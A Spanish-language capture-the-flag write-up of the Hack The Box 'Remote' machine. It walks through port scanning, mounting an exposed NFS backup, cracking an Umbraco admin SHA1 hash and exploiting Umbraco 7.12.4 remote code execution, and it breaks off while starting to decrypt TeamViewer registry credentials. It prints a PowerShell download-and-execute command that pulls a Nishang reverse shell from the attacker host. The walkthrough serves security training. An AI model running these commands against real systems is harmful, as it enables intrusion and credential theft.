Remote - Hack The Box
Esta máquina es algo difícil, pues hay que investigar todos los servicios que esta usando y ver de cual nos podemos aprovechar para poder vulnerar los sistemas de la máquina, además de analizar los Exploits, estos se deben configurar correctamente para su uso. Nos aprovechamos del servicio NFS para poder crear una montura y así obtener la contraseña para entrar al servicio Umbraco, una vez dentro encontramos que el Umbraco usa la versión 7.12.4 que es vulnerable a ejecución remota de comandos, por lo que cargamos una Reverse Shell que nos conecta a la máquina usando un Exploit de esta versión de Umbraco. Dentro logramos escalar privilegios de varias formas como explotando el servicio TeamViewer, cambiando el servicio UsoSvc, usando Juicy Potato y con un módulo de Metasploit.
Herramientas utilizadas:
- ping
- nmap
- wappalizer
- ftp
- smbclient
- showmount
- mountd
- hashid
- hash-identifier
- JohnTheRipper
- tcpdump
- nc
- rlwrap
- msfvenom
- certutil.exe
- iwr
- metasploit framework(msfconsole)
- Módulo: exploit/multi/script/web_delivery
- Módulo: post/windows/gather/credentials/teamviewer_passwords
- meterpreter
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Analizando Servicio HTTP
- Investigando Servicio Umbraco
- Analizando Servicios FTP y SMB
- Investigando Servicio NFS
- Explotación de Vulnerabilidades
- Post Explotación
- Explotando Servicio TeamViewer
- Utilizando winPEAS para Encontrar Vulnerabilidades
- Modificando Servicio UsoSvc
- Explotando Máquina con Juicy Potato
- Utilizando Módulo de Metasploit para Obtener Contraseñas de Administrador
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a hacer un ping y analicemos el TTL para saber que SO utiliza la máquina:
ping -c 4 10.10.10.180
PING 10.10.10.180 (10.10.10.180) 56(84) bytes of data.
64 bytes from 10.10.10.180: icmp_seq=1 ttl=127 time=129 ms
64 bytes from 10.10.10.180: icmp_seq=2 ttl=127 time=130 ms
64 bytes from 10.10.10.180: icmp_seq=3 ttl=127 time=134 ms
64 bytes from 10.10.10.180: icmp_seq=4 ttl=127 time=131 ms
--- 10.10.10.180 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3011ms
rtt min/avg/max/mdev = 128.920/130.771/134.012/1.957 ms
Con el TTL ya sabemos que es una máquina tipo Windows, realicemos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-25 15:54 CST
Initiating SYN Stealth Scan at 15:54
Scanning 10.10.10.180 [65535 ports]
Discovered open port 139/tcp on 10.10.10.180
Discovered open port 111/tcp on 10.10.10.180
Discovered open port 80/tcp on 10.10.10.180
Discovered open port 445/tcp on 10.10.10.180
Discovered open port 21/tcp on 10.10.10.180
Discovered open port 135/tcp on 10.10.10.180
Discovered open port 49666/tcp on 10.10.10.180
Discovered open port 49679/tcp on 10.10.10.180
Discovered open port 5985/tcp on 10.10.10.180
Discovered open port 2049/tcp on 10.10.10.180
Increasing send delay for 10.10.10.180 from 0 to 5 due to max_successful_tryno increase to 4
Discovered open port 49667/tcp on 10.10.10.180
Increasing send delay for 10.10.10.180 from 5 to 10 due to max_successful_tryno increase to 5
Discovered open port 49665/tcp on 10.10.10.180
Increasing send delay for 10.10.10.180 from 10 to 20 due to max_successful_tryno increase to 6
Completed SYN Stealth Scan at 15:55, 82.41s elapsed (65535 total ports)
Nmap scan report for 10.10.10.180
Host is up, received user-set (1.7s latency).
Scanned at 2023-01-25 15:54:25 CST for 82s
Not shown: 34995 filtered tcp ports (no-response), 30528 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
80/tcp open http syn-ack ttl 127
111/tcp open rpcbind syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
2049/tcp open nfs syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49679/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 82.57 seconds
Raw packets sent: 403278 (17.744MB) | Rcvd: 30857 (1.234MB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Demasiados puertos abiertos y ya vemos varios servicios conocidos como el FTP, el HTTP y el SMB. Pero hay algunos que no había visto, antes de investigarlos vamos a hacer un escaneo de servicios.
Escaneo de Servicios
nmap -sC -sV -p21,80,111,135,139,445,2049,5985,49665,49666,49667,49679 10.10.10.180
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-25 15:57 CST
Stats: 0:01:15 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 96.00% done; ETC: 15:58 (0:00:00 remaining)
Nmap scan report for 10.10.10.180
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-01-25T21:58:34
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 141.34 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Como mencione antes, hay varios servicios que no había visto antes como el mountd, el rpcbind y el NFS. Es momento de investigar que son estos servicios.
Investigación de Servicios
Primero, veamos el servicio rpcbind:
RPCBIND |
---|
El servicio rpcbind asigna los servicios de llamada a procedimiento remoto (RPC) a los puertos en los que escuchan. Los procesos RPC notifican a rpcbind cuando se inician, registrando los puertos en los que escuchan y los números de programa RPC que esperan servir. |
Ahora, veamos que es el demonio mountd:
daemon mountd |
---|
El daemon mountd gestiona solicitudes de montaje de sistema de archivos desde sistemas remotos y proporciona control de acceso. El daemon mountd comprueba /etc/dfs/sharetab para determinar qué sistemas de archivos están disponibles para el montaje remoto y qué sistemas están autorizados a hacer el montaje remoto. |
Y por último, veamos que es el servicio NFS:
Network File System |
---|
Network File System (NFS) es un estándar de servidor de archivos basado en el modelo cliente-servidor. El NFS permite a los usuarios ver, actualizar y almacenar archivos en un sistema remoto como si estuvieran trabajando localmente. |
Muy bien, pues después de leer cada concepto de los servicios, deduzco que la máquina esta almacenando mucha información de una página web en producción, esto quiere decir que aquí se almacena todo lo que tenga que ver con la página web que esta activa en el puerto 80 e incluso el escaneo de servicios nos dice que los 3 operan en conjunto. Además, está el puerto 5985 que el escaneo nos muestra con el servicio HTTPAPI, vamos a investigar este último:
Esta usando una API de Microsoft, esto ya nos da una idea de que el servicio principal a explotar, es el web.
Antes de continuar e investigar la página web que está operando, veamos si no hay algún Exploit para los 4 servicios que ya investigamos, vamos a buscar por internet primero ya que no tenemos una versión en si de todos los servicios, si lo tuviéramos seria solamente buscar un Exploit con la herramienta Searchsploit.
Buscando Vulnerabilidades para los Servicios Investigados
Encontramos una página bastante interesante y que al parecer nos puede ayudar de aquí en adelante para futuras máquinas, pues te da referencias de lo que puedes hacer, lo que no puedes y de lo que necesitar para vulnerar ciertos servicios:
Página HackTricks:
Ahí incluso hay una sección que nos dice que el servicio RPCBIND puede ser vulnerable para cargar archivos si está activo junto al servicio NFS.
Esto quizá nos sirva más adelante, pero de momento vamos a investigar la página web.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Vamos a entrar en la página web que esta activa y veamos que hay:
Al parecer es una tienda como de ropa, pero está incompleta. Veamos que nos dice Wappalizer:
Utilizan algunas librerías de JavaScript, pero no veo algo que nos pueda servir, sigamos analizando la página web.
Hay una sección llamada People, quiza alguno de esos nombre sea un usuario asi que seria bueno anotarlos por si las dudas.
En la sección About Us hay algunas ideas de lo que pueden implementar en la página para mejorarla y hay una subrayada como si ya se hubiera hecho, no creo que nos sirva de mucho esto, pero hay que tomar en cuenta todo lo que encontremos.
Por último, en la sección de Contact nos viene la opción de mandar un mensaje a Umbraco. Pero, ¿qué pasa si le damos click?
Vaya, vaya, un inicio de sesión para el servicio Umbraco, hay que investigar este servicio.
Investigando Servicio Umbraco
Veamos que es el servicio Umbraco:
Umbraco |
---|
Umbraco es una plataforma de gestión de contenidos open source utilizado para publicar contenido en la World Wide Web e intranets. Está desarrollado con C# y funciona sobre infraestructura Microsoft. |
Entonces, Umbraco es un gestor de contenidos y para estos casos, siempre debe de haber credenciales por defecto, vamos a buscarlas:
- One installed, the default username and password for the backoffice is “admin” and “test”
Probamos esto y nada, no sirve, entonces de momento vamos a dejar Umbraco hasta que tengamos una versión pues con esto podemos buscar un Exploit que nos sirva.
Analizando Servicios FTP y SMB
Primero vamos con el servicio FTP, ya que el escaneo de servicios nos menciona que podemos conectarnos como usuario Anonymous entonces veamos que hay dentro:
ftp 10.10.10.180
Connected to 10.10.10.180.
220 Microsoft FTP Service
Name (10.10.10.180:berserkwings): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49702|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> ls -la
229 Entering Extended Passive Mode (|||49703|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> exit
221 Goodbye.
Nos conectamos y…nada, no nos muestra nada, quizá podamos ver si se pueden subir archivos.
Probémoslo:
whoami > test.txt
Creamos un archivo txt con el comando whoami para ver si se puede subir y ejecutar en el servicio FTP, subamos el archivo:
ftp 10.10.10.180
Connected to 10.10.10.180.
220 Microsoft FTP Service
Name (10.10.10.180:berserkwings): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||49704|)
550 Access is denied.
ftp> exit
221 Goodbye.
Nada, no tenemos permisos. Ahora, veamos el servicio SMB, aunque no creo que podamos hacer mucho, ya que el escaneo no nos indicó que podamos loguearnos:
smbclient -L //10.10.10.180/ -N
session setup failed: NT_STATUS_ACCESS_DENIED
Nope, no pudimos meternos, entonces hay que cambiar la jugada y buscar la forma de vulnerar algún servicio. Intentemos usando la página HackTricks, ya que no busque nada sobre NFS.
Investigando Servicio NFS
Truco para HackTricks: Si usamos la palabra Pentesting y luego el servicio que buscamos, nos aparecerá mejores opciones para tratar de vulnerar dicho servicio.
Buscamos por la página HackTricks y encontramos lo siguiente:
Así que intentemos lo que nos dice, a ver que nos sale:
showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)
Mira nada más, cualquiera puede ver los backups…vamos a ver que hay ahí, pero antes, hay que preparar un directorio porque, de acuerdo a HackTricks podemos descargarlo:
mkdir /mnt/new_back
Se creo una carpeta llamada new_back en la carpeta mnt y si esta no existía pues también se crea, ahora vamos a descargar el backup que encontramos:
mount -t nfs 10.10.10.180:/site_backups /mnt/new_back -o nolock
Al parecer todo bien, es momento de ver que hay en ese backup:
cd /mnt/new_back
ls
App_Browsers App_Plugins bin css Global.asax scripts Umbraco_Client Web.config
App_Data aspnet_client Config default.aspx Media Umbraco Views
Se ve que hay muchos archivos y que hueva buscar en todos. Investiguemos en donde se almacena la base de datos de Umbraco:
Si buscamos con el navegador “Umbraco where is database” nos saldra una pagina del mismo servicio Umbraco y ahi viene varios lugares en donde se guarda:
- /data/umbraco.config -> De manera local, lo cual no tenemos
- filesystem -> No lo veo por ahi
- /App_Data folder -> ESA SI ESTA!!!
Como ya vimos, hay que investigar esa carpeta, pero antes, aquí el link de Umbraco sobre donde se almacena la BD:
Ahora sí, veamos que hay en ese directorio:
ls
cache Logs Models packages TEMP umbraco.config Umbraco.sdf
Mira, ahí esta el umbraco.config que también almacena parte de la BD de Umbraco, pero tambien esta uno con extensión sdf, pero primero vamos a ver el config.
Después de analizarlo rápidamente, no hay nada que nos pueda ayudar, salvo el nombre del creador de varios posts, que se llama admin, siento que o está incompleto o es un nombre por default que da Umbraco. Ahora veamos que es ese sdf.
Por cierto, los sdf son:
Archivo SDF |
---|
Los archivos SDF se utilizan para almacenar bases de datos en un formato estructurado. Se trata de una extensión de archivo estándar o genérica no asociada con ningún programa ni versión de base de datos. Por tanto, estos archivos pueden importarse y exportarse fácilmente con numerosos programas de base de datos. |
Entonces, lo que vamos a ver será una base de datos, no sería bueno usar el comando cat para ver que hay dentro porque no creo que lo muestre bien pues serian datos más no strings o texto en si:
file Umbraco.sdf
Umbraco.sdf: data
-
cat Umbraco.sdf
─────────────────────────────────────────────
│ File: Umbraco.sdf <BINARY>
Ahí está, no podremos ver el contenido porque contiene los datos en binario, entonces hay que convertirlos en strings para que se puedan leer y esto se hace de la sig. manera:
strings Umbraco.sdf > /Path_Donde_Quieras_Guardar_El_Output/output
Y ya con esto se guarda como tipo string, lo que nos permitirá ver con texto toda la BD.
Explotación de Vulnerabilidades
Analizando el Archivo SDF y Descifrando Hash
Solamente usamos el comando cat en el output para ver que hay dentro:
cat output | head
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
@{pv
qpkaj
dAc0^A\pW
(1&a$
"q!Q
Mira, ya tenemos dos usuarios y tenemos un hash que supongo es una contraseña, vamos a tratar de averiguar que es ese hash.
Veamos que tipo de hash se esta utilizando, aunque claramente ya nos lo indica en el archivo, no esta de más comprobarlo. Usaremos 2 herramientas para esto: HashID y hash-identifier.
- Probando HashID:
hashid hash_admin --File 'hash_admin'-- Analyzing 'b8be16afba8c314ad33d812f22a04991b90e2aaa' [+] SHA-1 [+] Double SHA-1 [+] RIPEMD-160 [+] Haval-160 [+] Tiger-160 [+] HAS-160 [+] LinkedIn [+] Skein-256(160) [+] Skein-512(160) --End of file 'hash_admin'--#
Normalmente, el primer resultado es el que pertenece al hash, puede desplegar más resultados, pero ese es el que se toma en cuenta.
- Probando hash-identifier:
hash-identifier ######################################################################### # __ __ __ ______ _____ # # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # # By Zion3R # # www.Blackploit.com # # Root@Blackploit.com # ######################################################################### -------------------------------------------------- HASH: b8be16afba8c314ad33d812f22a04991b90e2aaa * Possible Hashs: [+] SHA-1 [+] MySQL5 - SHA-1(SHA-1($pass)) * Least Possible Hashs: [+] Tiger-160 [+] Haval-160 [+] RipeMD-160 [+] SHA-1(HMAC)
Aquí directamente, nos dice que tipo de hash se uso, nos da otras opciones, pero siempre nos da el hash más acertado.
Ahora, usaremos la herramienta JohnTheRipper para descifrar el hash:
john -w=/usr/share/wordlists/rockyou.txt hash_admin
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt"
Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-Linkedin"
Use the "--format=Raw-SHA1-Linkedin" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "ripemd-160"
Use the "--format=ripemd-160" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "has-160"
Use the "--format=has-160" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 128/128 SSE2 4x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
baconandcheese (?)
1g 0:00:00:01 DONE 0.8403g/s 8255Kp/s 8255Kc/s 8255KC/s baconandchipies1..baconandcabbage
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
Session completed.
Listo, tenemos la contraseña, aunque tambien podemos utilizar una opción de la web para descifrar el hash y obtener la contraseña:
Aquí el link de esta página:
La contraseña que nos da es: baconandcheese
Una vez que ya tenemos la contraseña y tenemos al usuario al que le pertenece, probemos en Umbraco estas credenciales.
Y ya estamos dentro!
Ya tenemos la versión que usa Umbraco, ahora podemos buscar un Exploit:
Buscando y Probando Exploit
Usamos Searchsploit para buscar el Exploit e incluso podemos buscar por internet:
searchsploit umbraco 7.12.4
----------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution | aspx/webapps/46153.py
Umbraco CMS 7.12.4 - Remote Code Execution (Authenticated) | aspx/webapps/49488.py
----------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Probando Exploit: Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution
Vamos a usar el primero, aunque al parecer ambos son lo mismo:
searchsploit -m aspx/webapps/46153.py
Exploit: Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution
URL: https://www.exploit-db.com/exploits/46153
Path: /usr/share/exploitdb/exploits/aspx/webapps/46153.py
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/berserkwings/Escritorio/HTB/Retired_Easy_machines/Remote/OSCP_Style/MiManera/46153.py
Le cambiamos el nombre:
mv 46153.py Umbraco_Exploit.py
Y lo analizamos de arriba hacia abajo:
{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
proc.StartInfo.FileName = "calc.exe"; proc.StartInfo.Arguments = cmd;\
login = "";
password="";
host = "";
Como se observa, nos pide 3 datos que ya tenemos y además esta esa parte del código en donde al parecer podemos inyectar algún comando como el Exploit que usamos en la máquina Bounty Hunter, vamos a llenar los datos que nos pide y vamos a probar con una Traza ICMP* para ver si funciona el Exploit:
{ string cmd = "/c ping 10.10.14.9"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = cmd;\
login = "admin@htb.local";
password="baconandcheese";
host = "http://10.10.10.180";
Levantamos un servidor que acepte la Traza ICMP con tcpdump:
tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
Y activamos el Exploit:
python Umbraco_Exploit.py
Start
[]
End
Resultado:
tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
18:59:56.827476 IP 10.10.10.180 > Tu_IP: ICMP echo request, id 1, seq 1, length 40
18:59:56.827492 IP Tu_IP > 10.10.10.180: ICMP echo reply, id 1, seq 1, length 40
18:59:57.834902 IP 10.10.10.180 > Tu_IP: ICMP echo request, id 1, seq 2, length 40
18:59:57.834914 IP Tu_IP > 10.10.10.180: ICMP echo reply, id 1, seq 2, length 40
18:59:58.851255 IP 10.10.10.180 > Tu_IP: ICMP echo request, id 1, seq 3, length 40
18:59:58.851266 IP Tu_IP > 10.10.10.180: ICMP echo reply, id 1, seq 3, length 40
18:59:59.866337 IP 10.10.10.180 > Tu_IP: ICMP echo request, id 1, seq 4, length 40
18:59:59.866347 IP Tu_IP > 10.10.10.180: ICMP echo reply, id 1, seq 4, length 40
^C
8 packets captured
8 packets received by filter
0 packets dropped by kernel
Esto quiere decir que, si funciona dicho Exploit, ¿pero ahora que hacemos? Bueno, investigue como usar este Exploit y justo aparece una página que explica que hacer a continuación, aqui la página:
Entonces vamos a crear una Powershell Reverse Shell para conectarnos de manera remota a la máquina que usa Umbraco, entonces vamos por pasos como indica la página:
- Descargamos el repo Nishang para usar la shell que necesitamos: Repositorio de samratashok: Nishang
git clone https://github.com/samratashok/nishang.git Clonando en 'nishang'... remote: Enumerating objects: 1705, done. remote: Counting objects: 100% (14/14), done. remote: Compressing objects: 100% (13/13), done. remote: Total 1705 (delta 5), reused 4 (delta 1), pack-reused 1691 Recibiendo objetos: 100% (1705/1705), 10.89 MiB | 10.43 MiB/s, listo. Resolviendo deltas: 100% (1064/1064), listo.
- Copiamos el siguiente archivo que esta en el directorio Shells: Invoke-PowerShellTcp.ps1
cd nishang/shells cp Invoke-PowerShellTcp.ps1 path_donde_quieras_que_se_guarde/.
- Entramos al archivo y agregamos la siguiente linea al final:
Invoke-PowerShellTcp -Reverse -IPAddress Tu_IP -Port PuertoQueQuieras
{ Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_ } } Invoke-PowerShellTcp -Reverse -IPAddress Tu_IP -Port PuertoQueQuieras
- Modificamos el Exploit para que cargue la Reverse Shell:
{ string cmd = "/c powershell IEX(New-Object Net.WebClient).downloadString(\'http://Tu_IP/Invoke-PowerShellTcp.ps1\')"; System.Diagnost> proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = cmd;\
- Activamos una netcat:
nc -nvlp 443 listening on [any] 443 ...
- Activamos un servidor en Python para que la máquina descargue el Exploit:
python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
- Activamos el Exploit y vemos el resultado:
nc -nvlp 443 listening on [any] 443 ... connect to [Tu_IP] from (UNKNOWN) [10.10.10.180] 49736 Windows PowerShell running as user REMOTE$ on REMOTE Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\windows\system32\inetsrv>whoami iis apppool\defaultapppool
Incluso si vemos el servidor en Python, veremos cómo se descargó y está activo pues si lo quitamos, se quita todo:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.180 - - [26/Mar/2023 20:15:53] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
127.0.0.1 - - [26/Mar/2023 22:05:25] "GET / HTTP/1.1" 200 -
Bien ya estamos dentro, ahora es cosa de buscar la flag del usuario y listo.
Post Explotación
Explotando Servicio TeamViewer
Bien, es hora de buscar que hay en la máquina. Investigamos en varios lados, pero hay algo interesante en el directorio Program Files (x86) y es el servicio TeamViewer, pero ¿qué es esto?
TeamViewer |
---|
TeamViewer es un software para el acceso remoto, así como para el control y el soporte en remoto de ordenadores y otros dispositivos finales. |
Si entramos en ese directorio, nos dirá la versión que esta instalada de TeamViewer:
PS C:\Program Files (x86)> cd TeamViewer
PS C:\Program Files (x86)\TeamViewer> dir
Directory: C:\Program Files (x86)\TeamViewer
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/27/2020 10:35 AM Version7
Resulta, que esta versión de TeamViewer, tiene una vulnerabilidad que permite ejecutar comandos de manera remota si se esta autenticado.
Busquemos un Exploit:
searchsploit TeamViewer version7
Exploits: No Results
Shellcodes: No Results
Papers: No Results
No pues nada, busquemos el servicio nada más:
searchsploit TeamViewer
----------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
TeamViewer 11 < 13 (Windows 10 x86) - Inline Hooking / Direct Memory Modification Permission Change | windows_x86/local/43366.md
TeamViewer 11.0.65452 (x64) - Local Credentials Disclosure | windows_x86-64/local/40342.py
TeamViewer 5.0.8232 - Remote Buffer Overflow | windows/remote/34002.c
TeamViewer 5.0.8703 - 'dwmapi.dll' DLL Hijacking | windows/local/14734.c
TeamViewer App 13.0.100.0 - Denial of Service (PoC) | windows_x86-64/dos/45404.py
----------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
No creo que nos sirvan estos Exploits, mejor vamos a buscar por internet.
Encontré el siguiente link con datos de interés:
En este link hay varias pruebas que podemos hacer dentro de la máquina para obtener las credenciales de Windows:
reg query HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7
Una vez usemos este comando, nos dará información muy útil que sera las credenciales, pero encriptadas:
LastUpdateCheck REG_DWORD 0x6250227f
UsageEnvironmentBackup REG_DWORD 0x1
SecurityPasswordAES REG_BINARY FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B
MultiPwdMgmtIDs REG_MULTI_SZ admin
MultiPwdMgmtPWDs REG_MULTI_SZ 357BC4C8F33160682B01AE2D1C987C3FE2BAE09455B94A1919C4CD4984593A77
Security_PasswordStrength REG_DWORD 0x3
Lo que necesitamos es desencriptar dichas credenciales, aunque la que más nos interesa es la de SecurityPasswordAES. Para desencriptarlas, vamos a usar un script en Python que creo el usuario del siguiente link:
Con leer el blog, vemos la aventura que se echó para descubrir como explotar las vulnerabilidades que se encontraron en el TeamViewer Versión 7 y el cómo le haría para desencriptar dichas credenciales, incluso el siguiente link también explica todo esto pero ya resumido:
Pero nosotros, vamos a ocupar esta versión: Repositorio de rishdang: teamviewer_password_decrypt.py
Para usarlo es solo copiar el código en un archivo .py y tener instaladas los siguientes módulos de Python:
- hexdump
- pycryptodome
PERO, antes de instalar algo, analice un poco el script y no se para que usa hexdump así que lo quite y sirvió el script.
Para instalar el pycryptomode hacemos lo siguiente:
pip3 install pycryptodome
Collecting pycryptodome
Downloading pycryptodome-3.17-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (2.1 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.1/2.1 MB 8.5 MB/s eta 0:00:00
Installing collected packages: pycryptodome
Successfully installed pycryptodome-3.17
Y ahora si ya podemos usar el Exploit y con solo activar el script, ya solo es pasarle el encriptado de SecurityPasswordAES:
python3 TeamViewer_Exploit.py
This is a quick and dirty Teamviewer password decrypter basis wonderful post by @whynotsecurity.
Read this blogpost if you haven't already : https://whynotsecurity.com/blog/teamviewer
Please check below mentioned registry values and enter its value manually without spaces.
